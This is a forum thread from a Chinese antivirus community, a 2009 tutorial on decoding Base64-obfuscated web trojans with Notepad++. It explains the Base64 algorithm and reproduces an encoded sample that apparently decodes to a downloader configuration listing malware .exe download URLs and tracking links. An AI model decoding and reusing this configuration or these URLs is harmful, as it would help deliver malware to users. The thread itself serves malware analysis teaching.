瑞星卡卡安全论坛技术交流区恶意网站交流 网马解密大讲堂——网马解密中级篇(Base64篇)

12   1  /  2  页   跳转

网马解密大讲堂——网马解密中级篇(Base64篇)

网马解密大讲堂——网马解密中级篇(Base64篇)

卡卡讲堂之网马解密 初级篇
卡卡讲堂之网马解密 中级篇
卡卡讲堂之网马解密 高级篇(swf网马解密)
卡卡讲堂之网马解密 高级篇(pdf网马解密)
1.Freshow解密工具的详细用法
2.网马解密之——Eval篇
3.网马解密之——Document.write篇
4.网马解密之——Alpha2篇
5.网马解密之——Shellcode篇
6.网马解密之——Base64篇
7.网马解密之——US-ASCII篇
8.浅谈eval解密之——工具篇




引用:

一. Base64加密原理:(摘自小聪大牛的博客)

  把每三个字符,共24位2进制的ASCII码,折分成连续4个6位的ASCII码,再在每个ASCII码前面补00变成8位, 最后对应一个码表来变成编码字符:

码表为(从0~63分别依次对应):
0对应A………………………………………………………………………………63对应/
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
如果最后不够3位数,则补0,这时后面对应的编码是“=”
例:原文:                a                  b                c
  ASCII码:    01100001 | 01100010 | 01100011
        分成4个:    011000 | 010110 | 001001 | 100011
        补足位数: 00011000 | 00010110 | 00001001 | 00100011
        数值大小:        24                22                9                  35
        对应编码:        Y                  W                J                  j
        编码结果:    YWJj

        如果只有ab两个字符,则第三个字符用全0来代替,这时结果为YWI=
        其实按照算法,=对应的编码其实也可以认为是为0,所以QQ==和QQAA用来解密的话,都是A,但是后面补0时用“=”是加密算法自己的设置,所以加密结果只能是QQ==而不会是QQAA
知道了加密原理,解密原理就反其道而行之就行了,呵呵……


用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
最后编辑networkedition 最后编辑于 2009-05-21 14:51:09
分享到:
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Based64篇)



引用:

二.  加密特征:

    大小写字母及数字混排,末尾可能包含等号




引用:

三.    Base64解密方法

    我们还是以一个实例来简单讲解base64解密方法,在实际的网马解密中,这种加密方式很少见。今天我们提供一种解密的方法,在这里用到的解密工具为:notepad++ 这个软件(附件为notepad++)。后续我们还会讲解使用一些其他的解密工具来解密base64。

附件附件:

下载次数:1203
文件类型:application/octet-stream
文件大小:
上传时间:2009-5-19 10:47:49
描述:rar

最后编辑networkedition 最后编辑于 2009-05-19 10:48:47
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Based64篇)

我们来看一个base64的源代码:


YgBlAGcAaQBuADwAYgByAD4AMAA4ADEAMgAwADcALAAxACwAMQAsADEALAAyADAAMAAsADAALAAwACwAMQAwACwAOQAwACwAMAAsACwAMwAwACwALAAwACwAMQAsADEAMAAwACwAMQAsADAALAAxADgAMAAsADYAMAAsADEAMAAsADMALAAxADAALAAwACwAOQAwACwAMQAyADMANAAsADAAPABiAHIAPgAsAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAG4AZwBnAC4AbwByAGcALwBhAGQALwBhAGQAMQAuAGUAeABlACwAYQBkADEALAAxADMAOQAwADAAMAAsADUAMAAwADAAMAAwACwAMQAsADEALAAsADsAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGMAbgBnAGcALgBvAHIAZwAvAGEAZAAvAG0AcwBuADAANwA0AC4AZQB4AGUALABtAHMAbgAsADEANAA3ADAAMAAwACwANQAwADAAMAAwADAALAAyACwAMQAsACwAOwBoAHQAdABwADoALwAvAHcAdwB3AC4AYwBuAGcAZwAuAG8AcgBnAC8AYQBkAC8AcQBxADIAMwAuAGUAeABlACwAcQBxACwANAA3ADAAMAAwACwANQAwADAAMAAwADAAMAAsADMALAAxACwALAA7ADwAYgByAD4APABiAHIAPgA2ADAAPABiAHIAPgA8AGIAcgA+ADwAYgByAD4APABiAHIAPgAxADEALAAxACwAMQAwADAALAAwAC0AMgA0ACwAMgA1ADAALAAxADAAMAAsACgAMAAsADAAOwApACwAMQAzADAALAA1ADAAMAAsACgAYQBsAGwAKQAsAGgAdAB0AHAAJQAzAEEALwAvAHcAdwB3AC4AdQBkADkAOQAuAGMAbwBtAC8AdAByAGEAYwBrAC4AYQBzAHAAeAAlADMARgB0AHkAcABlACUAMwBEAEMAUABBACUAMgA2AGkAZAAlADMARAA5ADkAMwAsACwAMAAsADAALAAwACwAMQAsADAALAAsADAAPABiAHIAPgAyADEAMAAwADAAMAAwACwAMQAwADAALAAwAC0AMgA0ACwAMAAsAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB1AGQAOQA5AC4AYwBvAG0ALwB0AHIAYQBjAGsALgBhAHMAcAB4AD8AdAB5AHAAZQA9AEMAUABTACYAaQBkAD0AOQA5ADMAJgBjAG8AZABlAD0AMQAwADMAMQAyADMAMQAsAGgAdAB0AHAAJQAzAEEALwAvAHcAdwB3AC4AYgBhAGkAZAB1AC4AYwBvAG0ALwA8AGIAcgA+ADIAMQAwADAAMAAwADAALAAxADAAMAAsADAALQAyADQALAAwACwAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHUAZAA5ADkALgBjAG8AbQAvAHQAcgBhAGMAawAuAGEAcwBwAHgAPwB0AHkAcABlAD0AQwBQAFMAJgBpAGQAPQA5ADkAMwAmAGMAbwBkAGUAPQAxADAAMwAxADIAMwAxACwAaAB0AHQAcAAlADMAQQAvAC8AdwB3AHcALgAxADYAMwAuAGMAbwBtAC8APABiAHIAPgAyADEAMAAwADAAMAAwACwAMQAwADAALAAwAC0AMgA0ACwAMAAsAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB1AGQAOQA5AC4AYwBvAG0ALwB0AHIAYQBjAGsALgBhAHMAcAB4AD8AdAB5AHAAZQA9AEMAUABTACYAaQBkAD0AOQA5ADMAJgBjAG8AZABlAD0AMQAwADMAMQAyADMAMQAsAGgAdAB0AHAAJQAzAEEALwAvAHcAdwB3AC4AcwBpAG4AYQAuAGMAbwBtAC8APABiAHIAPgAyADEAMAAwADAAMAAwACwAMQAwADAALAAwAC0AMgA0ACwAMAAsAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB1AGQAOQA5AC4AYwBvAG0ALwB0AHIAYQBjAGsALgBhAHMAcAB4AD8AdAB5AHAAZQA9AEMAUABTACYAaQBkAD0AOQA5ADMAJgBjAG8AZABlAD0AMQAwADMAMQAyADMAMQAsAGgAdAB0AHAAJQAzAEEALwAvAHcAdwB3AC4AcwBvAGgAdQAuAGMAbwBtAC8APABiAHIAPgAyADEAMAAwADAAMAAwACwAMQAwADAALAAwAC0AMgA0ACwAMAAsAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB1AGQAOQA5AC4AYwBvAG0ALwB0AHIAYQBjAGsALgBhAHMAcAB4AD8AdAB5AHAAZQA9AEMAUABTACYAaQBkAD0AOQA5ADMAJgBjAG8AZABlAD0AMQAwADMAMQAyADMAMQAsAGgAdAB0AHAAJQAzAEEALwAvAHcAdwB3AC4AdABhAG8AYgBhAG8ALgBjAG8AbQAvADwAYgByAD4AZQBuAGQAPABiAHIAPgA=


最后编辑networkedition 最后编辑于 2009-05-19 10:43:04
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Based64篇)

将上述代码复制粘贴到notepad++,详细步骤参看下例截图:


最后编辑networkedition 最后编辑于 2009-05-19 10:52:28
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Based64篇)

接下来ctrl+a选中代码,点击TextFX菜单下TextFXTools下的Base64 Decode后,点击file下的save as(另存为),将代码保存为扩展名为txt(文件名任意)的文件。直接打开保存好的文档即可看到解密后的内容。




上图为点击 Base64 Decode后的截图
最后编辑networkedition 最后编辑于 2009-05-19 10:59:53
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Based64篇)

最终的解密结果相见下图,红色框中内容均为病毒的下载地址(可能已失效):



本帖被评分 1 次
最后编辑networkedition 最后编辑于 2009-06-30 16:29:18
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Based64篇)

前排听课
0.电脑安防交流群:79272952
1.下载windows清理助手,升级后清理系统。
  地址:http://download.arswp.com/arswp3/x86/arswp3_x86.zip
2.下载SREng,地址:http://download.kztechs.com/files/sreng2.zip
3.解压后运行SREngLdr.exe---智能扫描---扫描---保存报告。
4.将SREng.log日志文件压缩后上传。。
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Based64篇)

排队听课
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Base64篇)

安静听课。
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Base64篇)

都用5.3.1了,我还是5.2
gototop
 
12   1  /  2  页   跳转
页面顶部
Powered by Discuz!NT